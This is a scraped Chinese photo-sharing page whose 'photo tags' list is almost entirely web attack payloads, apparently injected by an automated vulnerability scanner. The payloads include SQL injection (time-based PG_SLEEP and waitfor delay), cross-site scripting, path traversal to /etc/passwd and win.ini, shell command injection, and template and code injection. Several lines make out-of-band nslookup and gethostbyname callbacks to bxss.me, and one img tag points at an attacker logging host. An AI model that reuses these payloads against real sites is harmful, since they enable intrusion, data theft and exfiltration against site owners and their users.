×
照片标签：
- 爱燃烧机器人pi 标记 12190
- 爱燃烧机器人pi 标记 70273
- 1
- 1CNr7kX7vaO
- response.write(9364122*9214056)
- '+response.write(9364122*9214056)+'
- "+response.write(9364122*9214056)+"
- 6wAUioCI
- echo sfhuxs$()\ tihkdg\nz^xyu||a #' &echo sfhuxs$()\ tihkdg\nz^xyu||a #|" &echo sfhuxs$()\ tihkdg\nz^xyu||a #
- &echo ehvird$()\ nlrvoe\nz^xyu||a #' &echo ehvird$()\ nlrvoe\nz^xyu||a #|" &echo ehvird$()\ nlrvoe\nz^xyu||a #
- |echo fyzcoh$()\ xllwdb\nz^xyu||a #' |echo fyzcoh$()\ xllwdb\nz^xyu||a #|" |echo fyzcoh$()\ xllwdb\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- (nslookup hitranexdoknh0b9c1.bxss.me||perl -e "gethostbyname('hitranexdoknh0b9c1.bxss.me')")
- 1jn4LadW
- -1 OR 2+397-397-1=0+0+0+1 --
- -1 OR 2+873-873-1=0+0+0+1
- -1' OR 2+785-785-1=0+0+0+1 --
- -1' OR 2+656-656-1=0+0+0+1 or 'RXQcplPz'='
- -1" OR 2+733-733-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- ../../../../../../../../../../etc/passwd%00.jpg
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- -1; waitfor delay '0:0:15' --
- %2fetc%2fpasswd
- -1); waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- hK9RXttV'; waitfor delay '0:0:15' --
- -5 OR 472=(SELECT 472 FROM PG_SLEEP(15))--
- $(nslookup hitpitlnvuqkz715c2.bxss.me||perl -e "gethostbyname('hitpitlnvuqkz715c2.bxss.me')")
- &(nslookup hitsqdtvmfbrxafd97.bxss.me||perl -e "gethostbyname('hitsqdtvmfbrxafd97.bxss.me')")&'\"`0&(nslookup hitsqdtvmfbrxafd97.bxss.me||perl -e "gethostbyname('hitsqdtvmfbrxafd97.bxss.me')")&`'
- /.././.././.././.././.././.././.././../etc/./passwd%00
- |(nslookup hitmgssmwzdqq1711c.bxss.me||perl -e "gethostbyname('hitmgssmwzdqq1711c.bxss.me')")
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- `(nslookup hituoduwdxprlfac1f.bxss.me||perl -e "gethostbyname('hituoduwdxprlfac1f.bxss.me')")`
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- -5) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- -1)) OR 173=(SELECT 173 FROM PG_SLEEP(15))--
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- ZH6PKFuy' OR 107=(SELECT 107 FROM PG_SLEEP(15))--
- %0abcc:074625.3840-719534.3840.07269.19119.2@bxss.me
- z0hwrV5a') OR 270=(SELECT 270 FROM PG_SLEEP(15))--
- XiFxbm5d')) OR 262=(SELECT 262 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- file:///etc/passwd
- @@tdeYT
- /WEB-INF/web.xml
- C:\WINDOWS\system32\drivers\etc\hosts
- <esi:include src="http://bxss.me/rpb.png"/>
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- ${9999542+9999960}
- ..\..\..\..\..\..\..\..\windows\win.ini
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- &n921727=v929911
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1some_inexistent_file_with_long_name%00.jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt%3F.jpg
- WEB-INF/web.xml
- bxss.me
- WEB-INF\web.xml
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- HttP://bxss.me/t/xss.html?%00
- ';print(md5(31337));$a='
- '.gethostbyname(lc('hitmv'.'zmwbqmkz947f1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(65).chr(117).chr(74).'
- ";print(md5(31337));$a="
- ".gethostbyname(lc("hitjc"."ightqlzy72ab6.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(84).chr(121).chr(71)."
- bxss.me/t/xss.html?%00
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '.print(md5(31337)).'
- /xfs.bxss.me
- "+"A".concat(70-3).concat(22*4).concat(98).concat(74).concat(98).concat(76)+(require"socket" Socket.gethostbyname("hitar"+"gguttwbaafd9a.bxss.me.")[3].to_s)+"
- '"
- '+'A'.concat(70-3).concat(22*4).concat(99).concat(85).concat(97).concat(86)+(require'socket' Socket.gethostbyname('hitsm'+'hgqjcwug823d0.bxss.me.')[3].to_s)+'
- <!--
- 1'"()&%<acx><ScRiPt >4aTE(9529)</ScRiPt>
- '"()&%<acx><ScRiPt >4aTE(9995)</ScRiPt>
- 19794983
- acu8203%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8203
- acux2714%C0%BEz1%C0%BCz2a%90bcxuca2714
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu9411%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9411
- acux1780%C0%BEz1%C0%BCz2a%90bcxuca1780
- aXBYK2rW
- -1 OR 2+782-782-1=0+0+0+1 --
- -1 OR 2+253-253-1=0+0+0+1
- -1' OR 2+503-503-1=0+0+0+1 --
- -1' OR 2+506-506-1=0+0+0+1 or 'H69zM5Cs'='
- -1" OR 2+446-446-1=0+0+0+1 --
- response.write(9916569*9744202)
- -1
- '+response.write(9916569*9744202)+'
- -1)
- uPTF0FPb'
- -5 OR 36=(SELECT 36 FROM PG_SLEEP(15))--
- "+response.write(9916569*9744202)+"
- -5) OR 412=(SELECT 412 FROM PG_SLEEP(15))--
- -1)) OR 777=(SELECT 777 FROM PG_SLEEP(15))--
- 5mZUtI0e' OR 19=(SELECT 19 FROM PG_SLEEP(15))--
- zvR5zXlR') OR 477=(SELECT 477 FROM PG_SLEEP(15))--
- buKNLQTw')) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
- 1 %2527%2522
- @@foJdZ
- echo vyblag$()\ bzxanj\nz^xyu||a #' &echo vyblag$()\ bzxanj\nz^xyu||a #|" &echo vyblag$()\ bzxanj\nz^xyu||a #
- &echo oddjoh$()\ dpvssr\nz^xyu||a #' &echo oddjoh$()\ dpvssr\nz^xyu||a #|" &echo oddjoh$()\ dpvssr\nz^xyu||a #
- |echo oakbnd$()\ ihvlzg\nz^xyu||a #' |echo oakbnd$()\ ihvlzg\nz^xyu||a #|" |echo oakbnd$()\ ihvlzg\nz^xyu||a #
- (nslookup hitwyjhhmlkhqc5f55.bxss.me||perl -e "gethostbyname('hitwyjhhmlkhqc5f55.bxss.me')")
- $(nslookup hittqdgnghxmx72508.bxss.me||perl -e "gethostbyname('hittqdgnghxmx72508.bxss.me')")
- &(nslookup hitvorwavdmcwdd98e.bxss.me||perl -e "gethostbyname('hitvorwavdmcwdd98e.bxss.me')")&'\"`0&(nslookup hitvorwavdmcwdd98e.bxss.me||perl -e "gethostbyname('hitvorwavdmcwdd98e.bxss.me')")&`'
- |(nslookup hitemmnxknopq6981f.bxss.me||perl -e "gethostbyname('hitemmnxknopq6981f.bxss.me')")
- `(nslookup hitkjoemhoybe4bd69.bxss.me||perl -e "gethostbyname('hitkjoemhoybe4bd69.bxss.me')")`
- acu8271%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8271
- acux5968%C0%BEz1%C0%BCz2a%90bcxuca5968
- sXFNFrj0
- ../1
- 1 bcc:074625.3840-719823.3840.8be4e.19119.2@bxss.me
- to@example.com> bcc:074625.3840-719824.3840.8be4e.19119.2@bxss.me
- 1%22onmouseover=4aTE(99762)%22
- 1<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- 1"onmouseover=4aTE(90652)"
- ${10000433+10000125}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- 1&n909561=v960019
- http://bxss.me/t/fit.txt?.jpg
- 1" WEIu=4aTE([!+!]) i3C="
- '"()
- 1\u0022onmouseover=4aTE(91503)\u0022
- '.gethostbyname(lc('hitvx'.'nwhxuoevca2c7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(80).chr(121).chr(68).'
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%34%61%54%45%28%39%38%31%39%34%29%22
- ".gethostbyname(lc("hitxq"."mhbasroef936e.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(72).chr(104).chr(88)."
- 1"sTYLe='acu:Expre/**/SSion(4aTE(9930))'bad="
- 1"><script>4aTE(9545)</script>
- '
- "
- 1<ScRiPt >4aTE(9593)</ScRiPt>
- 1<WIWGAA>GIMRT[!+!]</WIWGAA>
- 1<script>4aTE(9126)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%34%61%54%45%28%39%35%35%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >4aTE(9437)</ScRiPt>
- "+"A".concat(70-3).concat(22*4).concat(101).concat(68).concat(105).concat(75)+(require"socket" Socket.gethostbyname("hitzl"+"ysjrugdx57605.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(103).concat(84).concat(108).concat(84)+(require'socket' Socket.gethostbyname('hithk'+'ellkgeotf1c33.bxss.me.')[3].to_s)+'
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9016></ScRiPt>
- bibs
- bibs/.
- 1< ScRiPt >4aTE(9600)</ScRiPt>
- 1<isindex type=image src=1 onerror=4aTE(9095)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9289'>
- 1'"()&%<acx><ScRiPt >M42b(9597)</ScRiPt>
- '"()&%<acx><ScRiPt >M42b(9675)</ScRiPt>
- 1<body onload=4aTE(9632)>
- 19885077
- 1<img src=//xss.bxss.me/t/dot.gif onload=4aTE(9401)>
- 1<img src=xyz OnErRor=4aTE(9375)>
- 1<img/src=">" onerror=alert(9662)>
- %31%3C%53%63%52%69%50%74%20%3E%34%61%54%45%289634%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\4aTE(9371)\u003C/sCripT\u003E
- 1<ScRiPt>4aTE(9509)</sCripT>
- 1<input autofocus onfocus=4aTE(9805)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(4aTE(9654))}
- 1fgDAS <ScRiPt >4aTE(9243)</ScRiPt>
- 1<WSQWVQ>4NABD[!+!]</WSQWVQ>
- 1<ifRAme sRc=9466.com></IfRamE>
- 1<aaCsEf7 x=9633>
- 1<img sRc='http://attacker-9481/log.php?
- 1<aCPRI2E<
- ${10000077+9999660}
- 1&n936866=v997149
- '.gethostbyname(lc('hitpl'.'sxzqltnn6f390.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(70).chr(120).chr(79).'
- ".gethostbyname(lc("hitvn"."ynpfkcis4888e.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(74).chr(102).chr(72)."
- "+"A".concat(70-3).concat(22*4).concat(117).concat(90).concat(99).concat(78)+(require"socket" Socket.gethostbyname("hitff"+"tmarxsts95fb5.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(116).concat(81).concat(118).concat(79)+(require'socket' Socket.gethostbyname('hitio'+'tzkvnxbaa4451.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >lv0Z(9011)</ScRiPt>
- '"()&%<acx><ScRiPt >lv0Z(9707)</ScRiPt>
- 19232217
- eBoCgsKD
- -1 OR 2+957-957-1=0+0+0+1 --
- -1 OR 2+132-132-1=0+0+0+1
- -1' OR 2+685-685-1=0+0+0+1 --
- -1' OR 2+434-434-1=0+0+0+1 or '3UC7IF9h'='
- -1" OR 2+442-442-1=0+0+0+1 --
- epdpKTUB'
- -5 OR 968=(SELECT 968 FROM PG_SLEEP(15))--
- -5) OR 742=(SELECT 742 FROM PG_SLEEP(15))--
- -1)) OR 547=(SELECT 547 FROM PG_SLEEP(15))--
- kd7EyejM' OR 202=(SELECT 202 FROM PG_SLEEP(15))--
- 4ojmaXMw') OR 195=(SELECT 195 FROM PG_SLEEP(15))--
- hROmPpuf')) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
- @@UP10n
- pSdSr3p3
- -1 OR 2+477-477-1=0+0+0+1 --
- -1 OR 2+934-934-1=0+0+0+1
- -1' OR 2+51-51-1=0+0+0+1 --
- -1' OR 2+903-903-1=0+0+0+1 or '8KJX9z9D'='
- -1" OR 2+664-664-1=0+0+0+1 --
- TjXu0xkm'; waitfor delay '0:0:15' --
- -5 OR 967=(SELECT 967 FROM PG_SLEEP(15))--
- -5) OR 757=(SELECT 757 FROM PG_SLEEP(15))--
- -1)) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
- m9yk12fF' OR 943=(SELECT 943 FROM PG_SLEEP(15))--
- XFbGjz1f') OR 853=(SELECT 853 FROM PG_SLEEP(15))--
- foPWzeue')) OR 876=(SELECT 876 FROM PG_SLEEP(15))--
- @@qnifq
- UIJDIAtl
- -1 OR 2+788-788-1=0+0+0+1 --
- -1 OR 3+788-788-1=0+0+0+1 --
- -1 OR 3*2<(0+5+788-788) --
- -1 OR 3*2>(0+5+788-788) --
- -1 OR 2+374-374-1=0+0+0+1
- -1 OR 3+374-374-1=0+0+0+1
- -1 OR 3*2<(0+5+374-374)
- -1 OR 3*2>(0+5+374-374)
- -1' OR 2+480-480-1=0+0+0+1 --
- -1' OR 3+480-480-1=0+0+0+1 --
- -1' OR 3*2<(0+5+480-480) --
- -1' OR 3*2>(0+5+480-480) --
- -1' OR 2+575-575-1=0+0+0+1 or '9pX70X6j'='
- -1' OR 3+575-575-1=0+0+0+1 or '9pX70X6j'='
- -1' OR 3*2<(0+5+575-575) or '9pX70X6j'='
- -1' OR 3*2>(0+5+575-575) or '9pX70X6j'='
- -1" OR 2+256-256-1=0+0+0+1 --
- -1" OR 3+256-256-1=0+0+0+1 --
- -1" OR 3*2<(0+5+256-256) --
- -1" OR 3*2>(0+5+256-256) --
- MpaK67bB'
- -5 OR 957=(SELECT 957 FROM PG_SLEEP(15))--
- -5) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
- -1)) OR 827=(SELECT 827 FROM PG_SLEEP(15))--
- pAjjrHSh' OR 693=(SELECT 693 FROM PG_SLEEP(15))--
- e8eIbOfb') OR 304=(SELECT 304 FROM PG_SLEEP(15))--
- @@xd1CQ
微信扫一扫, 保存到手机
回应